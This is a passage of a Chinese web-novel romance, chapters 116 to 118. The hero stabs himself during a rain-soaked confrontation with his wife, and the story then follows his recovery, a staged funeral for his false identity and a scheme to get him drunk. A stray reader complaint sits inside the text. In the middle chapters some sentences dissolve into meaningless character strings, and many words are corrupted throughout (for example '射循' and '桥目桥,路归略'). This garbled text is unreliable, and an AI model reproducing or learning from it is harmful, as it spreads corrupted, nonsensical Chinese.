“你还有什么资格站在我的面前,有何颜面说爱我!” 姜时愿猛地推开谢循,谢循重新坠入泥泞,衣袍尽污,痛不欲生,双眸殷红,泪湿玄衣。 “我恨你!”“谢循,我恨你!”满腔的恨意一声更比一声清晰。哪怕大雨也冲刷不去,这露.骨的仇恨。“你现在让我该如何是好…” 明明是最清澈动人的美眸如今蓄满愁容,姜时愿深陷悲痛,不能自拔,她是姜氏的罪人,她爱上了害他兄长含冤的罪人。 她看着谢循,冷漠无情,“身为宿敌,向来不是你死就是我亡.….”话音甫落,她松下发髻间的玉簪,抵着自己的脖颈,好像唯有一死,她才为兄长赎罪,也是化解恩仇的唯一法子。 “阿愿,不要!”谢循崩溃,徒手握住刀身,刀锋嵌入皮肉,鲜血如注混着雨水落入青石之间,血水浸润着她的裙衫,青衣成绯。 她大呵着住手,求谢循让自己解脱,并无力地看着他握着刀身,调转方向,眼睁睁看着刀尖开始划破玄衫,渐渐晕染着血色。 谢循毫不留情地刺入他的胸膛,对自己狠戾绝情。另一只手又满惧柔情地勾着姜时愿的腰,搂她贴近自己。 他分明知道,姜时愿离他越近一分,匕首就越会刺入他的心脉一分。而他义无反顾,拥她入怀。 甚至香软馥郁的身躯覆上来的时候,谢循甚至还阖上双眼,揉出笑容。他举止尤为温柔,落在她腰间的手安慰着她发颤的不安。 谢循抵着她的耳畔,男音温润如水。 “阿愿,别怕。”“这一次,我不会再让你失手了。” 116、116... 这章什么乱七八糟的?都是之前的剧情…感觉被白嫖了 雨丝如织,密密匝匝,声声入耳,如泣如诉。伶停影单的身影逐渐在雨夜中贴合,天地茫茫,唯留二人相对。拥抱亲密且惨痛,慰藉且荒诞。就像他们的命运,从恩爱白首的夫妻走到生死不相容的敌人。 谢循执着她的手,她握着冰冷的刀柄,看着刀身没入他的胸膛,汨汨而流的鲜血被大雨冲刷无痕,淡去她杀人的感觉。姜时愿抵在谢循的肩头,一言不发,抽噎着,轻颤着。唯能感受着掌心愈发变得温热,她怨,明是冷雨,为何却不能淡去她手心的温度,为什么她还能分清哪些是雨、哪些又是血?落在她腰上的手五指微松,变得冰凉,渐渐地,那桎梏不放的手掌也顺着她的背臀的弧度慢慢滑落…流水潺潺,手臂垂下,四溅水花,甚至一滴殷粉的水滴溅在姜时愿的眉眼之上…谢循的身形慢慢欺压下来,若不是有怀中的她相抵,怕是早已倒入水潭。 她咬着谢循的肩头,逼自己生恨,享受他此刻呼吸凝滞带来的快意,可越是这么想,心头酸涩就越如千丝缠绕,碎玉难全。 唇间微咸,姜时愿才知道自己脸上的不仅是雨,是泪。 “主君!”稚嫩的童声夹杂着哀痛的哭意和恐惧。 倏然,袁黎溅踏水面而来,从她的怀中夺过谢循,“主君,你别吓袁黎,求你了,你睁开眼睛看看我…”,袁黎急忙脱下满身浸水的衣衫捂着谢循的伤处,哪知还是能见血液蔓延,痛哭不止,无助又慌乱,“怎么办啊……怎么办啊.….对对对…找陆观棋…” “袁黎…”姜时愿痛心,想伸手摸他的脸颊,却被狠狠打落。 “姜时愿,我恨你,我恨你!”袁黎双眸殷红,朝着她崩溃大吼:“你滚!我不要再看见你!” 袁黎的怒吼满是恨意,袁黎看她时的眼神凶恶如同是在凝视一个罪人,姜时愿的喉痛发涩,她何尝不能理解袁黎的痛苦,谢循是他在这世上唯一的亲人,失去至亲之痛,沉痛无比。 她也有过,又如何不懂? 她还经历了三次,兄长,三七,还有,她的夫君沈浔… 姜时愿木木地站起身子,神色前所未有地疲倦,淋在雨夜之中回了屋,她缩在墙角,空荡的厢房内再无温暖,只剩逼仄的阴暗和寒冷。 四下无人,她才得以终于能将积蓄的痛楚宣泄出来… 却说另一头袁黎将谢循扶回伏魔殿,随后陆氏兄弟一同赶来。 也就由今日陆不语见榻上之人的真容才知沈浔竟然就是谢循,不过此时情况危机已经来不及错愕,他当即要去请典狱的医官以及皇城中的御医来诊治,又紧着被陆观棋拦下。 陆观棋反倒让袁黎去把白无常带来,且叮嘱不许让任何人知晓。而后,掀开谢循的玄衣,看见他胸前的血窟,伤口极深,血流不止,应当是伤及心脉。 心脉—断,九死一生。 哪怕是方才袁黎支支吾吾不肯透露重伤谢循之人是谁,但陆观棋也猜了大概,或许…,还更出人意料些。 同样的伤口,在天牢中谢循虽是重伤,但不致命。而此次,心脉受损,不留余情。 陆观棋看着昏迷不醒的谢循,更是害怕,这个下此狠手又有了断绝之意的乃是谢循自己 陆不语不理解兄长所为,怒吼,“眼下如何保住主君性命才是最重中之重,而你还在权衡利弊,想着封人口舌,再请一个吊儿郎当的庸医过来治治。生死全凭主君造化是吗!” “陆观棋你当真是狼子野心,深不可测!” “你就是这么看待我的?”陆观棋蹙紧眉梢。陆不语:“为何不请医官和御医!你可知人命由不得片刻犹豫!” “我如今的所作所为,皆是在按主君的意志而行。今日之事,绝不可被人知晓,否则后患无穷。”陆观棋冷言,掏出魏国公给他的敕令,“魏国公不在,如今就是我执掌典狱,你若不听从,辞去官位,逐出典狱!”正当是二人争辩之时,袁黎一路掐着白无常的脖子匆匆赶到,二人的脸和脖子皆是晕红的,不过一人是急的,另外一人又是被掐得面红耳赤。 袁黎一脚踹上去,白无常捂着屁股哎呦一声跪在榻前,心念着:袁黎不愧是谢循这个罗刹亲手教出来的,心狠手辣,可惜少了点脑子,从没见过请人救治,还差点把医官掐死在来的路上… “如何?”陆观棋问道。 “这难以医活啊…先不说魏国公已经一只脚迈入鬼门关,最重要的…是我看他也没有生还之意。”白无常摸了摸榻上之人的脉搏,又瞧了一眼伤口,畏声道:“要不早点为国公大人置办个棺材,早些送他去归 西为妙?" 不出意料,话音甫落,白无常以又被袁黎拳打脚踢,惨叫连连。 白无常抱头痛哭,“我本就只是会些巫蛊之术的巫师,又不是正经的医官,医术只懂皮毛。”“若说找医官,你们为何不找姜时愿,我瞧着姜时愿学的正经医术就比我好很多….” 提及姜时愿,袁黎又是气不打一出来,一脚差点没让白无常断子绝孙….最后,威逼之下,才让白无常暂以药石先吊着,但也仅能拖三日。 这绝境几乎把陆观棋逼得焦头烂额,典狱的医官大半数是左相埋伏的眼线,而皇城中的御医又势力复杂,不知阵营。万一谢循性命不保的消息外泄,典狱顷刻之间,就会被猛虎剐食。眼下,只能去京外请医师,既要此人医术超绝,又要经历重重查证,确保此人不会日后反水。 陆观棋想来想去,也只能将此事交给与他暂生嫌隙的陆不语。 第一夜对众人来说皆极为漫长。 谢循情况不妙,随时有性命之危,白无常一个脑袋感觉都不够袁黎砍的,而袁黎不好过,寸步不离地守着不省人事的谢循,两个眼睛肿成了红柿子。 而姜时愿的第一夜更为之煎熬,心思如灰,泪意干流,一夜未眠。 一双本是白皙滑腻的柔荑被狠狠被搓至血色,也不肯罢手,更见盆中腥血,她泪难自控,悲痛欲绝,双手又开始止不住地发颤。 她感受着寒意跗骨直上,脑海此时贪恋的却是谢循曾经抱她的温暖。还有回忆着…凄凉雨夜之中,他怀抱渐凉,弱了气息,倒在自己的怀中。 思及此,姜时愿崩溃决堤,拼命想抹去和谢循有关的记忆,灌输着他本就该死,杀了他,是他罪有应得。而思绪却不可遏制地回想起,他低伏在自己的耳旁,话音温润:“阿愿,别怕。这一次,我不会再让你失手了。” 被回忆折磨,又在被仇海吞噬,压抑地姜时愿快喘不过气。 她孤苦无依,缩在墙角,求着兄长带她离开。 第二夜,姜时愿又失魂落魄地来到融雪阁中。 曾在这里,她初次察觉她的夫君似有隐瞒,此人谋算深不可测。 姜时愿立于廊下,看着满院芳华刚开又被冷雨打落,漫天飞花,满地残红。本是常理,却又为何伤怀? 姜时愿走近古树前,忽然觑见树干上一道宛如刻刀凿去的五指抓痕,还残留着斑驳血迹。 她深深被抓痕定住了,不知缘由,而后听见白无常的声音飘来,“有一天没一天咯,这谢循死就死呗,好死不死非要拉着我陪葬,罢了,只能今朝有酒今朝醉。” 忽然躺在树前醉饮的白无常也察觉到了树后躲藏的女子,瞧她双眼红肿,憔悴不堪,再推敲昨夜‘沈浔’昨夜生死不明而姜时愿作为妻子却不闻不问,大致猜出来了二人之间发生了何事。 白无常原不想管夫妻之间的恩怨,但奈何谢循若死,他也得跟着小命不保。更况且谢循是生死是死,可全在姜时愿的一念之间。 白无常用着声音将姜时愿引出来。“你可知这古树上的五指抓痕是谁而留,又是因何而来?”“想你也不知道,是一个世间最愚昧的人。” “故事太长.…该从何讲起呢?”白无常悬着酒壶,将最后一滴酒水,呛入喉中,“那便先从天外天吧,姜司使可曾亲眼见过猎宴?” 白无常开始悠悠讲述魑的过往,一个父母双亡的孤儿是如何被人撸去天外天,又是如何为了求生而被迫参加猎宴。 姜时愿猜到了他话中的最愚昧之人是谁,也是她第一次了解谢循作为魑的过往…. 天外天的擂台残酷,以欲、利、权为辅料将无数苦命孩童凑在一起自相残杀。光是回忆起一次,姜时愿都心起恶寒,更何况作为参与者的谢循亲身已经经历过了无数场,年纪尚幼的他却经历了这世间最残忍、最溟灭的人性。难怪他的身上布满了许多不可磨灭的伤痕,原来都是幼时之伤。也难怪,他会变得嗜血无情,杀人如麻…. “姜司使.”白无常声音微黯,倒不是特地帮谢循说话,“天外天那个吃人不吐骨的地方,不成为嗜血无情的魔头是活不下来的。但估计你也体会不到,你自小出身望族,活在锦绣堆中,自然鄙昵亦或者可怜我们这类人。就像富人对贫贱之人无非是厌恶或怜悯这两种情绪。" 姜时愿抵着粗粝的树干,抓痕深深嵌入,“可这皆不是他作恶的理由,杀人嗜血者…. “你可知全貌?”白无常眯着眼睛,强硬打断,“未知全貌,不予置评。”“这道理你比我更懂,不是吗?” “我骂谢循蠢笨,是因为此人最大的问题就是愚忠。” "分明是绝情之人,但谁若救了他,他就恨不得掏心掏肺对他好,这世间就有一个人这么利用了他整整两次。" 白无常微叹着,将谢循体内的蛊虫和与暗河阁主之间的纠葛娓娓道来。 姜时愿也慢慢拼凑了谢循被蛊虫操控和恩情裹挟的前半生,他所有隐藏的伤痛。 谢循的半生活在利用、算计、血腥之中,不见天光,哪怕反抗,也是很快被镇压…甚至,这钻心的痛苦还要再碾上一次,催得他愈发像一个麻木、仅会杀人的傀儡。 难怪,哪怕是失忆后的谢循也毫无求生的意志,记忆不再再,但被摧残磨砺的心性早已成形。他早已心如死灰,所以才会对世事淡漠,或许那时“死”是他最好的解脱… 是她让谢循再有了活下去的理由。 “那道抓痕就是谢循留下的。那时你站在融雪阁质问着我何为曼珠沙华,而他藏在古树之后,忍受着蛊毒发作的剧痛.,没有人能扛过蛊毒,而他是个狠人,竟然为了不让你察觉一声不响,天知道他是怎么忍下来的。” “或许谢循此人满嘴谎言,浑身倒下都是假的。”白无常幽幽起身,戳着自己的心窝,“但这里至少还算点真。” 白无常摆摆手,将酒壶撂下,退离融雪阁。 落叶萧萧,似诉沉默的哀伤。 姜时愿抚摸着树干的沟壑,这里又谢循难以言说、欺瞒隐藏的另一面。 她看清了他所有的狠戾算计,内敛毒辣,却不知他的不堪和软弱。就如同这抓痕,在她眼前,谢循全然不会提蛊毒发作时的压抑痛苦,取而代之的总是一声“阿愿”。 正如白无常说的,她从不知全貌。哪怕此时此刻她已经知晓了他苦苦隐藏的身份,却依然拼凑不出一个完整的谢循。 三更天,伏魔殿周边都被撤去了司使,陆观棋刚掩门而出,就见夜风拂来,来人素衣白衫,行走之间月华披泽,几缕青丝拂过面颊,静谧清冷。陆观棋的嘴角刚欲含笑,为她让身推门,谁料,姜时愿却止在殿门前不动,眸若秋水,陆观棋小声问道:“难不成,姜司使是特意来找陆某的?”见她姜时愿难以开口,料想这不是说话的地,陆观棋又领她前往水榭亭台,他坐于茶案前,执壶斟茶,水流如注。四目相对,沉默无言,姜时愿揪着手中的帕子,骨节泛白,几番难言,最终还是问道:“袁黎还好吗?他.…是不是很恨我?“ “陆某原本以为姜司使会问另外一个人是否安好,你明知他比袁黎更需要你…”陆观棋微微蹙眉,呷了口茶,又见她神伤,不好再说重话,“若说不怒不气,自然是不可能的。但袁黎心智尚幼,怕是还难以分清什么是恨的感觉。” "那陆案吏呢,你恨我吗?" “陆某是典狱之人,姜司使你说呢?”陆观棋轻敲茶杯,声音冷冷。 姜时愿淡笑,心中早有所感,可半晌之后,又听他说道,“可若陆某是姜司使你的兄长,我会怜你,会憎恨谢循欺你瞒你,也不定会为你选这样一位夫君。” “立场不同,终是殊途。” 汤面如琥珀,姜时愿的眼泪落入瓷盏,泛起圈圈细微的涟漪。 她言辞不稳:“那谢循是善是恶,我们之间孰对孰错,孰是孰非?我求个解答…” "人有七情,不似铁律无情,所以难断世间黑白,所以第二题陆某无法回答你。"“至于谢循是善是恶,陆某可以交由姜司使判断。陆某希望姜司使了解下的不是戴着罗刹面具的魏国公,而是谢循。” “你击登闻鼓初入典狱为兄长鸣冤,陆某一路跟遂,在你走之后,陆某便猜到了主君的意图。主君虽知此案疑点重重,但那时他记忆不全、不辩真相,甚至还受制于奸臣,如履薄冰。”陆观棋温声道: “当时主君和姜娘子一样力量孱弱,冒然翻案,你们二人皆会如飞蛾扑火,难逃一死。” "所以,若要陆某来判断是非善恶,还不如全怪奸臣当道。" 陆观棋端起茶盏,吹散茶香热气,“姜司使可知你离开典狱之后,主君那时对陆某说了什么?” “什么?”姜时愿问。 "主君让我记得,无论何时,无论何地,都要保护好姜娘子。" 陆观棋叹着气:“所以陆某让不语给了你进入典狱春试的腰牌。又在知顾辞掺和春试设局时,破格允你入四处。还有,影子用良贴之事大做文章,也是陆某…暗中助你,保你一命….”"之所以这么做,都是因为陆某至死不敢忘主君之令。" …… 却说第三夜,袁黎守在谢循的身旁,榻前矮凳的血水换了一盆又一盆,这不又想再打一盆水,冷然转身,“哐当”一声,水盆落在地上。 袁黎抽着鼻子,飞身去扑在姜时愿的怀中,泪水涌出,“我还以为你不回来了….我差点以为你真的是个歹毒妇人.…你把他还给我好不好…你知不知道他昏睡之中喊了多少遍你的名字….” "为什么你们之间一定要你死我活…”稚童哭声年幼无助,死死搂着姜时愿,似攥着最后一个救命稻草,“他死,你死,我都舍不得!我都不要你们离开我!" 姜时愿慢慢俯下身子,捏了捏袁黎的脸,泪眼婆娑:“放心,都会平安无事的,我会把谢循还给你的。” 随后,姜时愿徐步走到榻前,看着榻上的男子,双眸微闭,长发未束,唇色极淡,宛若油尽灯枯。待她临近,谢循似有所感,垂在榻边的手微微颤抖,捏着她的裙衫,满俱柔情地唤着她阿愿。然后那仅有的力气消失殆尽,慢慢垂落,却姜时愿执住,温声道:“阿循。” 而后,通常是袁黎守前半夜,姜时愿守下半夜。袁黎熬药,而姜时愿用药、喂药,包扎伤口。 三日后,谢循终于有了转醒的痕迹,睫毛轻颤,这让袁黎高兴坏了,连忙找着喊着让姜时愿赶紧来瞧瞧,可……姜时愿好像预料至此,早已远去。 姜时愿去拜托了陆观棋一事,拿了赦令,回了趟尘封已久的姜府。 微雨霏霏,洗刷着三年来从未有人踏足的尘埃。 府中早物是人非,富丽不在,只剩寂寥。芳菲疯长,粉樱白梨满地,携着雨丝冷意。 她提着衣裙迈入朱漆褪色的门槛,吱呀声回荡祠堂,阳光洒入。 神龛之上的乌木灵牌层层叠叠,落满灰尘,鲜有人打扫。 姜时愿卷起衣袖,在祠堂中扫去尘屑,擦洗青砖,又一个个仔细拭着灵牌,朱墨填补灵牌磨损边角。一切办完之后,又将包裹中拿出兄长姜淳之灵牌,置于双亲之下。 她跪在蒲团之上,不知时辰。 只知来时晴光潋滟,而今黄昏殆尽,漆夜覆上。 雨滴细密,自青檐落下,似无声之叹。 那几根香燃尽之时,姜时愿才缓缓从蒲团上转身,蓦地转身,却见君子端方执伞而立,衣袂飘飘,扇面微斜,眸光微动,望向她与祠堂的方向,眼底惊涛克制极深。 落花微雨,打落玉兰,银雨丝丝,砸在青石板上,淅淅沥沥。 姜时愿静默许久,再深深看了眼姜氏灵牌,目光又游离在雨中的青年。 谢循如同罪人,不敢靠近姜氏祠堂半步。而姜时愿也不知,他在此等了多久。 二人视线相接,无声无息,对峙在此。 最后,终究是姜时愿释然地走向他,她看着谢循未移方步,只是将纸伞移向她,让她不沾湿雨,而自己则半身淋在雨外,伤痕处隐隐作痛。 姜时愿望向谢循,嗓音如林中山涧,她率先说道:“我放不下姜家。” “我知道。”谢循回道,这也是他为什么迟迟不敢再走近阿愿半步的原因。 “你之前与我的承诺,还作数吗?”"一直,至死不渝。" “阿愿,想要哪句承诺?”谢循嗓音喑哑,犹豫半晌,方才开口,“我皆会满足。”“你初入典狱时许下的。”姜时愿垂下眼眸。 “我们曾约定了两条,一是翻姜家冤案,二是帮你手刃仇敌谢循。”“我不要你的命…” “我要你,助我查清姜家冤案。”姜时愿斩钉截铁道。谢循语调缓缓,“好。” “魏国公,此事结束之后,你我两不相欠。” 第117章117(大修) 却说这边姜时愿和谢循暂时结成同盟,查清姜家冤宰、扳倒左相之后,从此二人桥归桥路归路,再无瓜葛。谢循听之沉默难言,眸色黯然,姜时愿也不顾射循接受与否又紧接着约法三章。 约法三章,这第一章沈浔的身份必须有个了断。 姜时愿想给沈浔办场葬礼,意在世间再无沈浔。 从此谢循也不会再被谎言束缚,而对她呢,沈浔一死,她便等同于丧夫’,二人再无婚姻的桎梏,一举两得。 三日后,沈浔司使出使任务途中怡遇歹徒重伤身亡、至今尸骨下落不明的腿秏传遍整个典狱众人闻言纷纷着素衣白带前来吊唁上香,见之灵堂四验维幔垂落,而厅堂中央姜时愿坡麻戴孝跪在信木前,神色麻木,众人心中皆甚是不忍。 特别是四处的苏言和李顺眼中满是悲凄之色,纷纷叹着沈浔英年早逝,又可怜姜时愿命运悲惨。 二人陪着姜时愿操办沈浔的丧事,见她面容恬静,怀疑她故作坚强。毕竟有一种说法,人越装作无事心中便越是有事。 “哭吧,阿愿,我们都在这陪着你,都知道沈浔走了你心里难受的很…” “是啊,哪个女子死了丈夫不都哭个三天三夜,哭过了,人就好受多了,你这一滴泪不落,搞得我们怪害怕的,生怕你随沈浔而去。” 架不住苏言和李顺二人左右夹击,姜时愿暗暗掐着自己的大腿,逼着自己落泪。落了泪,二人又让姜时愿下葬之前赶着和沈浔做最后的道别。 姜时愿为了不让人起端疑,情话婉转,声泪俱下,说着三世约定。 姜时愿一番感人肺腑之言,听着苏言二人哭得上期不接下气,离了灵堂,走在青石板路上还在念叨着着姜时愿的痴情。 苏言:“你可听到阿愿方才说什么?此心恨不得随沈浔而去,终身只嫁他一人,绝不二嫁。”李顺也叹着跟着感慨,“是啊,还说着沈浔是她的心,她的肝,这辈子只爱沈浔一人。” 谁知二人的交谈之声被有意躲藏在临水局外的谢循及陆不语听个正着 陆不语朝着谢循悄悄打量,见他宽袖之下的手暗暗掐紧着皮肉,好似在确认这并非幻听,随后方才牵起唇角,笑而不语。 陆不福也即有响响下-0,+分圆言二人,莫非地们方那备安可使后念沈的言论映 响中心花放,怕是动西这致后酱目地石石典航众人前来和后又为他上香,更无动受e成亡夫的事实 陆不语恨不得苏言二人再多说一些,没准哄得主君高兴,自己和四处的落魄境地也会得到改善。 谁料苏言和李顺话锋一转竟叹到姜时愿可怜,商量着再为她再说和一位郎君。典狱中杰出的才俊都被二人细细盘算了一遍,计划着周中带着姜时愿去西苑相看,沐得空之时有领她去西苑瞧瞧…. 这一番惊天骇地的言论听得陆不语连连倒吸凉气,汗流浃背,再次打量谢循,感受着面具之后丝丝缕缕散发着阴寒之气,心觉大祸临头。 谢循黑眸滑动,眼神又危又狠,凝着陆不语。 “你御下的四处莫非都是这般游于好闲,不务正业,一门心思皆放在操心她人的婚事?” 陆不语浑身一颤,不知如何解释。自知大难临头,恨不得当场遁地而逃或者有人能化了谢循的煞气。 没把到天竟的遂了陆不语的愿,姜时愿泡看光汽的灵牌从临水同而出,也恰好翻到了藏在拐角的酒和陆不语二人,微要着柳后,看起来稍有倡意,她也不知循竞会出现在这里?陆不语看着姜时愿脸色微黯朝着他和谢循走来,心中一个劲直念菩萨保佑,旋即喜笑颜开,接机溜走,“下官就不再打扰主君和姜司使了。” 昏暗的巷道之内,只留着姜时愿和谢循两两相觑 方一见阿愿,谢循心中积攒的烦闷顿时烟消云散。 而姜时愿却因他不遵守约定,有些闷闷不乐,“魏国公,你为何出现在临水局前?我与你的约法三章的第二条,可还记得?” "记得,也不敢忘。谢循低头沉默片刻,语调涩然。 约法三章第二条便是:若无缘由,二人不得随意见面。 姜时愿合与断酒的定除了相商典联公务外以及美家的案子外,其余任何时模绝不见面。纵使不甚他处相遇,也仅限于姜时愿行礼问安,不准谢循多有口舌和按触,免得落人猜延二人的关系此外,还有些别的规矩,比如他们之间只能以魏国公和姜司使互称,有比如谢循需效仿影子的行事作风,对她的态度应是疏离或厌恶的,不可在众人眼前前后差别过大 谢循垂眼看向姜时愿手中捧着的灵牌,“今日我也想来好好送别沈浔,遂才越界了。” 沈浔三年,他曾无比痴念这个身份,恨不得他就是沈浔,而非谢循。今日亲见沈浔的衣冠下葬,也算是彻底与之道别。 “今日前来吊唁的司使众多,万目睽睽,莫被人察觉你与沈浔之间的关系,魏国公还是早些回去吧。” 姜时愿不愿再过苛责,交代几句,正欲转身离开,却忽得被谢循牵住皓腕,只得俏脸怒红地贴近他的胸膛,低斥道:“魏国公,你想干什么,还不快些放开我。” 姜时愿怕被司使们看到她与谢循拉拉扯扯、纠缠不清,气得踩上他的玄靴,“谢循!” 她抬起嫌首,又看见谢循眉目舒明,眼里蕴着笑:“姜司使终于肯唤谢某的名字了。不知为何从姜司使口中听到这个名字,便不会令谢某生厌。” 谢循无比憎恶这个姓氏,这个循字,觉得二字于他来说就是讥讽和束缚,可不知为何他偏偏喜欢从姜时愿的幽兰之气中喊出的,总是令他慰贴。 “谢循,你!“ 姜时愿哪想自持清贵的魏国公也会如此无耻,拿她的警告当甜糖喂给自己。 “谢某无意为难,只想问姜司使一个问题,问完便放开。” “姜司使方才在灵堂中说的都是真的吗?你说此生都恨不得随沈浔而去,终身只嫁沈浔一人,绝不二嫁。” 谢循垂下长睫,竟纳罕地有些羞赧于说出口,“还说我是你的心,你的肝,此生只爱我一人?” 他不想再被约法三章牵绊从而不情不愿地喊她姜司使,“阿愿,你说的可都是真的” 声音平仄轻缓,黏牙的情话也被他念地极为好听。 姜时愿这才反应过来谢循误会了,生生别开脸,隐下羞赧。 这露骨的情话是她说的不假,但这是她为了不惹苏言和李顺清疑,故意演的夫妻深情,参考的乃是话本上丧夫寡妇哭棺的一出戏。 “魏国公,您多想了。” 姜时愿从他的桎措抽出英,话音稍历,吐一如兰,“查清冤案、扳倒左相之前,我们之间又是盟友,至于姜家冤屈昭雪之后,桥目桥,路归略,我们永不相欠。” “还有,莫在唤我阿愿了.….” 话音甫落,她朝着谢循鞠了一离,娉婷之姿慢慢消失在谢循的眼前。人已远走,而谢循仍沉溺其中,风过无痕,神思不知所去… 哪知陆不语方才就没走,躲在暗处,将二人之间的密事窥听地那叫一个一清二楚。上天有好生之德,他更有成人之心。 有m在之上,远响间,智出,河人心,kH之,暗距似不牙种麻。可就是这样的 了回山面mg同响他,了附t品陕用无无航,四心都不会了。 陆不语看着谢循在情事方面,屡遭失策,如履薄冰,心有不忍。 他咬了咬牙,下定决心打算帮主君一把。 七日后。 谢循在姜淳旧案上有了些许线索,派了袁黎去了一处,暗中给姜时愿递了个纸条:今夜子时,伏魔殿中相见,有要事商议。 袁黎事情办完,握着姜时愿刚给他新折的草免刚离开一处,就被陆不语强拐到临水局。 袁黎最讨厌被人挟持,怒火中烧,活动着筋骨,看似要摆出开揍的架势。陆不语捂着头,忙不迭道:“你想不想让主君和姜司使和好如初?你要是想这两人还能陪你一起玩,今夜就必须帮我!” 袁黎将信将疑,问道:“你说的可是真的,要我怎么做?”只听陆不语话语玄妙:“你把主常尝饮的君山银针替换成我中这壶醉花酿即可。” “主君不能饮酒,一滴也不能沾。”袁黎摇头,这也是谢循向来隐藏的秘密,酒力极差,一杯就倒。陆不语咯咯地笑着,笑得袁黎有些心里发毛,“你懂啥,就是要主君醉在美人怀。” 夜色如墨,景色朦胧,偶然有司使敲击着竹梆子走过。 姜时愿身披斗篷穿梭于夜色之中,行踪隐蔽,袁黎见她赴约赶来,悄悄带她来到融雪阁中,又移动石板,走下密道。这条密道是谢循暗中命人修建的,连通伏魔殿和融雪阁两处,知之者甚少。 二人约莫走了一阵,袁黎才拉下金铃,徒手移开石门,细细砂砾簌簌落下洒了姜时愿满身。 姜时愿边缓缓脱下斗篷边走入伏魔殿。方一踏入,她便觉得有些古怪。 殿中,灯火憧憧,花香隐隐。 佛像罗刹像下悬挂的再不是阴气渗人的白烛青灯,而是流光溢彩的八角彩灯。青石板地面也换成白玉铺就,新采的鲜花铺陈满地,色泽艳丽,花枝摇曳,花香清幽。 这还是她熟知的佛魔殿吗?气氛略略有些玄妙。 “你是不是有什么事情瞒着我?”姜时愿立马警觉,黛眉微挽看向袁黎。 “你放心…我明天早上会放你出来的…”袁黎眼神闪躲,支支吾吾,想起陆不语不下百遍的叮嘱,一个纵身就飞至密道旁,按下机关,石门缓缓闭合。 姜时愿急急追上袁黎的身影,奈何密道已关上。眼下,除了从伏魔殿正门离开外,姜时愿再无别的出去的法子。可若要光明正大地离开,她如何跟殿外值夜的左右司使解释她是如何来的伏魔殿?而且,又要如何跟众人解释她和谢循见不得人的私会。 姜时愿胸臆如堵,恼着袁黎不知道藏了什么坏水。但.她也了解袁黎,虽然顽劣,但也决计不会害她。 还有…谢循在哪?为何她并未看见谢循?今夜是他邀自己前来商讨要事,会不会是他故意安排袁黎行事?她想要寻谢循问个清楚。 池中鲤鱼越波,游水嬉戏,水声泠冷,鱼尾溅起的清冷水波溅至被风吹起的金丝帷幕之上,帘后之人的清隽身姿缓缓被火光逐渐拱亮。 隔着一曾轻薄纱幔,姜时愿看清了自己所要找的人,斜倚于罗汉榻,单手撑手搁于几上,筋骨英楚。她站在帘外,再不敢僭越,多行 步:“魏国公,姜时愿求见。” 也不知是否是谢循故意为难,姜时愿接连唤了几遍,都不得应答。 姜时愿只好撩起纱幔,寥寥青烟蹿出,走入正殿。 殿内青灯昏黄,支摘窗并末关严实,微风拂入,满地散乱无理的卷宗被吹得书页簌簌作响,也顺手卷起谢循压在阔袖玄鹤之下的手抄,纷纷扬扬。 姜时愿俯身拾起一指残页。这是兄长旧案的卷宗,只不过纸上丹青朱红俱是谢循的笔法,他先以隶书誉抄卷宗,再用朱红在墨字旁批注可疑之处。而像这样这种耗费心神的手抄足足千页。 姜时愿又环顾内殿,见乌木桌案、罗汉榻、博古架以及矮几,不拘是何地何处,笔器乱搁、堆满了如山散落的卷宗。这不像起居之所,更像是储藏卷宗的青龙阁_更不像极为喜洁之人的作风 姜时愿凑近谢循身边,果不其然见他双眸微阖,面色憔悴。不过几日不见,他却有了青茬,神色疲倦。 她不禁猜想,是不是他日夜费心兄长旧案,茶饭不离卷宗,睡梦也不肯放下。他分明身上还带着重伤,竟如何不爱惜自己… 姜时愿沉吟片刻,不再喊魏国公,而是轻唤,“谢循。”谢循眉稍略蹙,似如呓语股闷闷的“嗯”一声,颇为乖巧地点了点头,行为略显迟缓又凝滞。 这样的谢循略略有些古怪,姜时愿不由得再观察地细了一点。见他玄衣半敞,残余汗珠顺着下颌疑下,没入衣襟,顺着行云线条慢慢消失于亵衣之下,好以整个人都在发汗…甚至再看他的面颊微有熏红。 “你是不是饮酒了?”姜时愿睇了一眼,略有责怪之意,“你可知你重伤未愈,不宜饮酒,你为何如此不爱惜…”话落一半,她又不愿说了,不愿这段克制的关系和距离稍有过界。 谢循垂首,似有愧意,竟听着姜时愿的发问,昏昏沉沉地摇了摇头。 她几时看过谢循如此憨态乖顺的模样,除了醉酒,再无旁的解释,“当真没有骗我?当真没有饮酒?”谢循又软软地“嗯”一声。 姜时愿越发凑近他,嗅了嗅他衣衫,梅香之下还潜藏着一丝酒气她的手背微凉,轻轻搁在谢循的额间又试了试谢循面颊的温度,果不然,烫意灼人。 谢循醉了。果然他的话不可轻信。 姜时愿美眸轻轻睇向谢循,嗔道 118、118... 纤柔如玉的柔荑拂过醉酒之人的脸颊,如玉般清凉消融着他脸上的燥意,谢循昏沉梦中,觉这‘玉’舒服,不忍放她离开,滚烫的掌心覆在姜时愿的柔荑之上,又拢着着她的玉指,爱不释手。“松手。”姜时愿想缩手,却已然来不及,被迫感受着他脸颊上醉烧的温度。 醉酒之人哪还清醒,不仅不松手,还紧攥着视为璞玉的柔荑,喃喃道:“渴。” “谢循,松手。”姜时愿徒劳着急,而醉后的谢循分毫听不进去,着重强调道,“渴。” 若换成往常谢循清醒之时,何尝敢对姜时愿有这个胆子,仅需她一眼轻扫,一语轻止,便会安安分分,再不敢妄动。 奈何眼下他醉了…. 姜时愿见过很多人伶仃大醉后神志不清,最让人恼的便也是他们似驴般的固执,讲不了道理。你越是让他们往东,他们偏要往西。 如今,最好的法子,怕不是只能百般顺着谢循的意,才能脱身。 “你如若不放开我,我又如何能帮你倒水?”姜时愿微微叹气,缓下声音,见谢循昏昏沉沉轻“嗯”,好似听进去了的样子,她又道:"你放了,我才能为你倒水,是不是?"娇言软语下,姜时愿终于脱了桎梏,转而来到书案前,拎起银壶倾倒茶水,带着酒气的水柱流下。觉察不对,将茶盏递到鼻下轻嗅,果不其然,气味扑鼻,酒香浑厚。看来是有人刻意将壶里的茶换成了酒。 至于那位胆大包天的贼人是谁,姜时愿想到袁黎慌张的神情,已然有了答案。 她摇着银壶,壶肚里载着满满的酒,看来谢循也并非饮了很久,怎么就醉得这么厉害了?又紧着觑到小盏中残存一半的酒水,猜疑着谢循莫非连一杯未到就醉倒了? …… 谁曾想青面獠牙、凶狠毒辣的罗刹,酒量竟然比她一个女子还要弱。难怪,她从来只见谢循饮茶,对酒如有忌讳,原来是有意藏私不肯被人察觉。 